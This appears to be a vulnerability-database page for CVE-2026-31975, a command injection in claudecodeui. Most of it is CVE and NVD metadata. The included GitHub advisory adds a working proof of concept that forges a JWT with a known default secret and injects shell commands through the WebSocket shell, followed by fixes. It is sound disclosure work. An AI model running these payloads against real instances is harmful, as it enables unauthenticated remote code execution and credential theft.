CVE-2026-31975 (GCVE-0-2026-31975)

Vulnerability from cvelistv5 – Published: 2026-03-11 17:27 – Updated: 2026-03-12 14:05

Title

Cloud CLI WebSocket shell injection

Summary

Cloud CLI (aka Claude Code UI) is a desktop and mobile UI for Claude Code, Cursor CLI, Codex, and Gemini-CLI. Prior to 1.25.0, OS Command Injection via WebSocket Shell. Both projectPath and initialCommand in server/index.js are taken directly from the WebSocket message payload and interpolated into a bash command string without any sanitization, enabling arbitrary OS command execution. A secondary injection vector exists via unsanitized sessionId. This vulnerability is fixed in 1.25.0.

Severity

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-03-12 14:04 UTC

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7814 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/siteboon/claudecodeui/security…	x_refsource_CONFIRM
https://github.com/siteboon/claudecodeui/commit/1…	x_refsource_MISC
https://github.com/siteboon/claudecodeui/releases…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
siteboon	claudecodeui	Affected: < 1.25.0	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-31975",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-12T14:04:56.739217Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-12T14:05:01.389Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/siteboon/claudecodeui/security/advisories/GHSA-gv8f-wpm2-m5wr"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "claudecodeui",
          "vendor": "siteboon",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.25.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Cloud CLI (aka Claude Code UI) is a desktop and mobile UI for Claude Code, Cursor CLI, Codex, and Gemini-CLI. Prior to 1.25.0, OS Command Injection via WebSocket Shell. Both projectPath and initialCommand in server/index.js are taken directly from the WebSocket message payload and interpolated into a bash command string without any sanitization, enabling arbitrary OS command execution. A secondary injection vector exists via unsanitized sessionId. This vulnerability is fixed in 1.25.0."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-78",
              "description": "CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-11T17:27:06.111Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/siteboon/claudecodeui/security/advisories/GHSA-gv8f-wpm2-m5wr",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/siteboon/claudecodeui/security/advisories/GHSA-gv8f-wpm2-m5wr"
        },
        {
          "name": "https://github.com/siteboon/claudecodeui/commit/12e7f074d9563b3264caf9cec6e1b701c301af26",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/siteboon/claudecodeui/commit/12e7f074d9563b3264caf9cec6e1b701c301af26"
        },
        {
          "name": "https://github.com/siteboon/claudecodeui/releases/tag/v1.25.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/siteboon/claudecodeui/releases/tag/v1.25.0"
        }
      ],
      "source": {
        "advisory": "GHSA-gv8f-wpm2-m5wr",
        "discovery": "UNKNOWN"
      },
      "title": "Cloud CLI  WebSocket shell injection"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-31975",
    "datePublished": "2026-03-11T17:27:06.111Z",
    "dateReserved": "2026-03-10T15:40:10.487Z",
    "dateUpdated": "2026-03-12T14:05:01.389Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-31975",
      "date": "2026-11-11",
      "epss": "0.03901",
      "percentile": "0.90401"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "claudecodeui",
                "vendor": "siteboon",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 1.25.0"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "configurations": [
          {
            "nodes": [
              {
                "cpeMatch": [
                  {
                    "criteria": "cpe:2.3:a:cloudcli:cloud_cli:*:*:*:*:*:*:*:*",
                    "matchCriteriaId": "CD62C338-7624-4C6C-B8A8-D1FBF207CFDD",
                    "versionEndExcluding": "1.25.0",
                    "vulnerable": true
                  }
                ],
                "negate": false,
                "operator": "OR"
              }
            ]
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Cloud CLI (aka Claude Code UI) is a desktop and mobile UI for Claude Code, Cursor CLI, Codex, and Gemini-CLI. Prior to 1.25.0, OS Command Injection via WebSocket Shell. Both projectPath and initialCommand in server/index.js are taken directly from the WebSocket message payload and interpolated into a bash command string without any sanitization, enabling arbitrary OS command execution. A secondary injection vector exists via unsanitized sessionId. This vulnerability is fixed in 1.25.0."
          },
          {
            "lang": "es",
            "value": "Cloud CLI (tambi\u00e9n conocida como Claude Code UI) es una interfaz de usuario de escritorio y m\u00f3vil para Claude Code, Cursor CLI, Codex y Gemini-CLI. Antes de la versi\u00f3n 1.25.0, exist\u00eda una inyecci\u00f3n de comandos del sistema operativo (OS Command Injection) a trav\u00e9s de WebSocket Shell. Tanto projectPath como initialCommand en servidor/index.js se toman directamente de la carga \u00fatil del mensaje de WebSocket y se interpolan en una cadena de comandos bash sin ninguna sanitizaci\u00f3n, lo que permite la ejecuci\u00f3n arbitraria de comandos del sistema operativo. Existe un vector de inyecci\u00f3n secundario a trav\u00e9s de un sessionId no sanitizado. Esta vulnerabilidad se corrige en la versi\u00f3n 1.25.0."
          }
        ],
        "id": "CVE-2026-31975",
        "lastModified": "2026-06-17T10:34:52.493",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 9.8,
                "baseSeverity": "CRITICAL",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
                "version": "3.1"
              },
              "exploitabilityScore": 3.9,
              "impactScore": 5.9,
              "source": "nvd@nist.gov",
              "type": "Primary"
            }
          ],
          "cvssMetricV40": [
            {
              "cvssData": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "availabilityRequirement": "NOT_DEFINED",
                "baseScore": 8.7,
                "baseSeverity": "HIGH",
                "confidentialityRequirement": "NOT_DEFINED",
                "exploitMaturity": "NOT_DEFINED",
                "integrityRequirement": "NOT_DEFINED",
                "modifiedAttackComplexity": "NOT_DEFINED",
                "modifiedAttackRequirements": "NOT_DEFINED",
                "modifiedAttackVector": "NOT_DEFINED",
                "modifiedPrivilegesRequired": "NOT_DEFINED",
                "modifiedSubAvailabilityImpact": "NOT_DEFINED",
                "modifiedSubConfidentialityImpact": "NOT_DEFINED",
                "modifiedSubIntegrityImpact": "NOT_DEFINED",
                "modifiedUserInteraction": "NOT_DEFINED",
                "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
                "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
                "modifiedVulnIntegrityImpact": "NOT_DEFINED",
                "privilegesRequired": "LOW",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "HIGH",
                "vulnIntegrityImpact": "HIGH",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-31975",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "yes"
                  },
                  {
                    "technicalImpact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-12T14:04:56.739217Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-03-11T18:16:27.177",
        "references": [
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Patch"
            ],
            "url": "https://github.com/siteboon/claudecodeui/commit/12e7f074d9563b3264caf9cec6e1b701c301af26"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Release Notes"
            ],
            "url": "https://github.com/siteboon/claudecodeui/releases/tag/v1.25.0"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Exploit",
              "Vendor Advisory"
            ],
            "url": "https://github.com/siteboon/claudecodeui/security/advisories/GHSA-gv8f-wpm2-m5wr"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "tags": [
              "Exploit",
              "Vendor Advisory"
            ],
            "url": "https://github.com/siteboon/claudecodeui/security/advisories/GHSA-gv8f-wpm2-m5wr"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Analyzed",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-78"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "redhat_vex": {
      "current_release_date": "2026-03-27T07:43:48+00:00",
      "cve": "CVE-2026-31975",
      "id": "CVE-2026-31975",
      "initial_release_date": "2026-01-01T00:00:00+00:00",
      "product_status:known_not_affected": "1",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "Cloud CLI  WebSocket shell injection",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-31975.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-31975",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "yes"
                      },
                      {
                        "Technical Impact": "total"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-03-12T14:04:56.739217Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-03-12T14:04:49.696Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/siteboon/claudecodeui/security/advisories/GHSA-gv8f-wpm2-m5wr"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "claudecodeui",
              "vendor": "siteboon",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 1.25.0"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Cloud CLI (aka Claude Code UI) is a desktop and mobile UI for Claude Code, Cursor CLI, Codex, and Gemini-CLI. Prior to 1.25.0, OS Command Injection via WebSocket Shell. Both projectPath and initialCommand in server/index.js are taken directly from the WebSocket message payload and interpolated into a bash command string without any sanitization, enabling arbitrary OS command execution. A secondary injection vector exists via unsanitized sessionId. This vulnerability is fixed in 1.25.0."
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "baseScore": 8.7,
                "baseSeverity": "HIGH",
                "privilegesRequired": "LOW",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "HIGH",
                "vulnIntegrityImpact": "HIGH"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-78",
                  "description": "CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-03-11T17:27:06.111Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/siteboon/claudecodeui/security/advisories/GHSA-gv8f-wpm2-m5wr",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/siteboon/claudecodeui/security/advisories/GHSA-gv8f-wpm2-m5wr"
            },
            {
              "name": "https://github.com/siteboon/claudecodeui/commit/12e7f074d9563b3264caf9cec6e1b701c301af26",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/siteboon/claudecodeui/commit/12e7f074d9563b3264caf9cec6e1b701c301af26"
            },
            {
              "name": "https://github.com/siteboon/claudecodeui/releases/tag/v1.25.0",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/siteboon/claudecodeui/releases/tag/v1.25.0"
            }
          ],
          "source": {
            "advisory": "GHSA-gv8f-wpm2-m5wr",
            "discovery": "UNKNOWN"
          },
          "title": "Cloud CLI  WebSocket shell injection"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-31975",
        "datePublished": "2026-03-11T17:27:06.111Z",
        "dateReserved": "2026-03-10T15:40:10.487Z",
        "dateUpdated": "2026-03-12T14:05:01.389Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-31975

Vulnerability from fkie_nvd - Published: 2026-03-11 18:16 - Updated: 2026-06-17 10:34

Severity

9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/siteboon/claudecodeui/commit/12e7f074d9563b3264caf9cec6e1b701c301af26	Patch
security-advisories@github.com	https://github.com/siteboon/claudecodeui/releases/tag/v1.25.0	Release Notes
security-advisories@github.com	https://github.com/siteboon/claudecodeui/security/advisories/GHSA-gv8f-wpm2-m5wr	Exploit, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/siteboon/claudecodeui/security/advisories/GHSA-gv8f-wpm2-m5wr	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	cloudcli	cloud_cli	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "claudecodeui",
          "vendor": "siteboon",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.25.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:cloudcli:cloud_cli:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "CD62C338-7624-4C6C-B8A8-D1FBF207CFDD",
              "versionEndExcluding": "1.25.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Cloud CLI (aka Claude Code UI) is a desktop and mobile UI for Claude Code, Cursor CLI, Codex, and Gemini-CLI. Prior to 1.25.0, OS Command Injection via WebSocket Shell. Both projectPath and initialCommand in server/index.js are taken directly from the WebSocket message payload and interpolated into a bash command string without any sanitization, enabling arbitrary OS command execution. A secondary injection vector exists via unsanitized sessionId. This vulnerability is fixed in 1.25.0."
    },
    {
      "lang": "es",
      "value": "Cloud CLI (tambi\u00e9n conocida como Claude Code UI) es una interfaz de usuario de escritorio y m\u00f3vil para Claude Code, Cursor CLI, Codex y Gemini-CLI. Antes de la versi\u00f3n 1.25.0, exist\u00eda una inyecci\u00f3n de comandos del sistema operativo (OS Command Injection) a trav\u00e9s de WebSocket Shell. Tanto projectPath como initialCommand en servidor/index.js se toman directamente de la carga \u00fatil del mensaje de WebSocket y se interpolan en una cadena de comandos bash sin ninguna sanitizaci\u00f3n, lo que permite la ejecuci\u00f3n arbitraria de comandos del sistema operativo. Existe un vector de inyecci\u00f3n secundario a trav\u00e9s de un sessionId no sanitizado. Esta vulnerabilidad se corrige en la versi\u00f3n 1.25.0."
    }
  ],
  "id": "CVE-2026-31975",
  "lastModified": "2026-06-17T10:34:52.493",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.8,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.7,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "LOW",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-31975",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-03-12T14:04:56.739217Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-03-11T18:16:27.177",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/siteboon/claudecodeui/commit/12e7f074d9563b3264caf9cec6e1b701c301af26"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/siteboon/claudecodeui/releases/tag/v1.25.0"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/siteboon/claudecodeui/security/advisories/GHSA-gv8f-wpm2-m5wr"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/siteboon/claudecodeui/security/advisories/GHSA-gv8f-wpm2-m5wr"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-78"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-GV8F-WPM2-M5WR

Vulnerability from github – Published: 2026-03-11 00:37 – Updated: 2026-03-11 20:58

Summary

@siteboon/claude-code-ui Vulnerable to Unauthenticated RCE via WebSocket Shell Injection

Details

Security Advisory: Insecure Default JWT Secret + WebSocket Auth Bypass Enables Unauthenticated RCE via Shell Injection

Download: cve_claudecodeui_submission_v2.zip

 Submission Info

Field	Value
Package	`@siteboon/claude-code-ui`
Ecosystem	npm
Affected versions	`<= 1.24.0` (latest)
Severity	Critical
CVSS Score	9.8
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
CWE	CWE-1188, CWE-287, CWE-78
Reported	2026-03-02
Researcher	Ethan-Yang (OPCIA)

Summary

Three chained vulnerabilities allow unauthenticated remote code execution on any claudecodeui instance running with default configuration. No account, credentials, or prior access is required.

The root cause of RCE is OS command injection (CWE-78) in the WebSocket shell handler. Authentication is bypassed by combining an insecure default JWT secret (CWE-1188) with a WebSocket authentication function that skips database user validation (CWE-287).

Vulnerability Details

1. Insecure Default JWT Secret — `CWE-1188`

File: server/middleware/auth.js, line 6

const JWT_SECRET = process.env.JWT_SECRET || 'claude-ui-dev-secret-change-in-production';

The server uses an environment variable for JWT_SECRET, but falls back to a well-known default value when the variable is not set. Critically, JWT_SECRET is not included in .env.example, so the majority of users deploy without setting it, leaving the fallback value in effect.

Since this default string is published verbatim in the public source code, any attacker can use it to sign arbitrary JWT tokens.

2. WebSocket Authentication Skips Database Validation — `CWE-287`

File: server/middleware/auth.js, lines 82–108

authenticateWebSocket() only verifies the JWT signature. It does not check whether the userId in the payload actually exists in the database — unlike authenticateToken() which is used for REST endpoints and does perform this check:

// authenticateWebSocket() — VULNERABLE
const decoded = jwt.verify(token, JWT_SECRET);
return decoded;  // ← userId never verified against DB

// authenticateToken() — CORRECT (REST endpoints)
const decoded = jwt.verify(token, JWT_SECRET);
const user = userDb.getUserById(decoded.userId);  // ← DB check present
if (!user) return res.status(401)...

A forged token with a non-existent userId passes WebSocket authentication, bypassing access control entirely.

3. OS Command Injection via WebSocket Shell — `CWE-78`

File: server/index.js, line 1179


shellCommand = `cd "${projectPath}" && ${initialCommand}`;

Both projectPath and initialCommand are taken directly from the WebSocket message payload and interpolated into a bash command string without any sanitization, enabling arbitrary OS command execution.

A secondary injection vector exists at line 1257 via unsanitized sessionId:

shellCommand = `cd "${projectPath}" && claude --resume ${sessionId} || claude`;

Proof of Concept

Requirements: Node.js, jsonwebtoken, ws

import jwt from 'jsonwebtoken';
import WebSocket from 'ws';

// Step 1: Sign a token with the publicly known default secret
const token = jwt.sign(
  { userId: 1337, username: 'attacker' },
  'claude-ui-dev-secret-change-in-production'
);

// Step 2: Connect to /shell WebSocket — auth passes because
//         authenticateWebSocket() does not verify userId in DB
const ws = new WebSocket(`ws://TARGET_HOST:3001/shell?token=${token}`);

ws.on('open', () => {
  // Step 3: initialCommand is injected directly into bash
  ws.send(JSON.stringify({
    type: 'init',
    projectPath: '/tmp',
    initialCommand: 'id && cat /etc/passwd',
    isPlainShell: true,
    hasSession: false
  }));
});

ws.on('message', (data) => {
  const msg = JSON.parse(data);
  if (msg.type === 'output') process.stdout.write(msg.data);
});

Actual output observed during testing:

uid=1001(user) gid=1001(user) groups=1001(user),27(sudo)
ubuntu
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Secondary vector — `projectPath` double-quote escape injection

ws.send(JSON.stringify({
  type: 'init',
  projectPath: '" && id && echo "pwned" # ',
  provider: 'claude',
  hasSession: false
}));
// Server executes: cd "" && id && echo "pwned" # " && claude
// Output: uid=1001... / pwned

Additional Findings

CWE	Location	Description
CWE-306	`server/routes/auth.js:22`	`/api/auth/register` requires no authentication — first caller becomes admin
CWE-942	`server/index.js:325`	`cors()` with no options sets `Access-Control-Allow-Origin: *`
CWE-613	`server/middleware/auth.js:70`	`generateToken()` sets no `expiresIn` — tokens never expire

Impact

Any claudecodeui instance accessible over the network where JWT_SECRET is not explicitly configured (the default case, as it is absent from .env.example) is vulnerable to:

Full OS command execution as the server process user
File system read/write access
Credential theft (SSH keys, .env files, API keys stored on the host)
Lateral movement within the host network

The attack requires zero authentication and succeeds immediately after default installation.

Remediation

Fix 1 — Enforce explicit JWT_SECRET; remove insecure default

// server/middleware/auth.js
const JWT_SECRET = process.env.JWT_SECRET;
if (!JWT_SECRET) {
  console.error('[FATAL] JWT_SECRET environment variable must be set');
  process.exit(1);
}

Also add JWT_SECRET= to .env.example with a clear instruction to set a strong random value.

Fix 2 — Add DB user existence check in WebSocket authentication

const authenticateWebSocket = (token) => {
  if (!token) return null;
  try {
    const decoded = jwt.verify(token, JWT_SECRET);
    const user = userDb.getUserById(decoded.userId); // ← add
    if (!user) return null;                          // ← add
    return user;
  } catch (error) {
    return null;
  }
};

Fix 3 — Replace shell string interpolation with spawn argument array

// Instead of:
const shellProcess = pty.spawn('bash', ['-c', `cd "${projectPath}" && ${initialCommand}`], ...);

// Use:
const shellProcess = pty.spawn(initialCommand.split(' ')[0], initialCommand.split(' ').slice(1), {
  cwd: projectPath  // pass path as cwd, not shell string
});

Fix 4 — Additional hardening

Add expiresIn: '24h' to generateToken()
Restrict CORS to specific trusted origins
Rate-limit and restrict /api/auth/register to localhost on initial setup

Timeline

Date	Event
2026-03-02	Vulnerabilities discovered and verified via PoC
2026-03-02	Private advisory submitted to maintainer
2026-06-01	Public disclosure (90-day deadline)

Researcher

Ethan-Yang — OPCIA

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.24.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@siteboon/claude-code-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.25.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-31975"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-287",
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-11T00:37:25Z",
    "nvd_published_at": "2026-03-11T18:16:27Z",
    "severity": "HIGH"
  },
